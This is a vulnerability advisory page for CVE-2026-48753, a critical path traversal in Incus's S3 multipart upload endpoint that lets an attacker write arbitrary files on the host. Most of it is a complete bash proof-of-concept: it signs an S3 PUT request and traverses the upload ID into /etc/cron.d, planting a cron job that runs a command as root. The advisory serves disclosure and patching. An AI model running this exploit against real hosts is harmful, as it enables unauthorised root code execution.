critical

CVE-2026-48753

Go · github.com/lxc/incus/v7/cmd/incusd

Summary

Incus has an arbitrary file write via path traversal in S3 multipart upload

Severity
critical
CVSS
9.9
EPSS
0.7% (p51)
CWE
CWE-73
Also known as
GHSA-ccjc-4qc3-jxqc
Published
2026-06-26
Updated
2026-06-26

Advisory details

Summary

The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.

In internal/server/storage/s3/local/multipart.go, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33

PoC

Setup

# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#> note the credentials

Exploitation

The below script was mostly generated.

#!/usr/bin/env bash
set -euo pipefail

if [ $# -lt 4 ]; then
	printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
	exit 1
fi

endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"

region="us-east-1"
service="s3"
key="anything"
part="1"
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
body="* * * * * root /bin/sh -c '$cmd'
"

uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
uri_path="${uri_path#/}"
uri_path="/$uri_path"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
url="$endpoint/$bucket/$key?$qs"

amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="$date_scope/$region/$service/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"

canonical="PUT
$uri_path
$qs
host:$host
x-amz-content-sha256:$body_hash
x-amz-date:$amz_date

$signed
$body_hash"
canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')"
string_to_sign="AWS4-HMAC-SHA256
$amz_date
$scope
$canonical_hash"

hmac_hex() {
	printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256
}

k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"

printf '# body:\n%s' "${body}"

curl -ksS -X PUT "${url}" \
	-H "Host: ${host}" \
	-H "X-Amz-Date: ${amz_date}" \
	-H "X-Amz-Content-Sha256: ${body_hash}" \
	-H "Authorization: ${auth}" \
	--data-binary "${body}"

Impact

Arbitrary file write on the host. Possibly leading to arbitrary command execution.

References

Related advisories

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Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.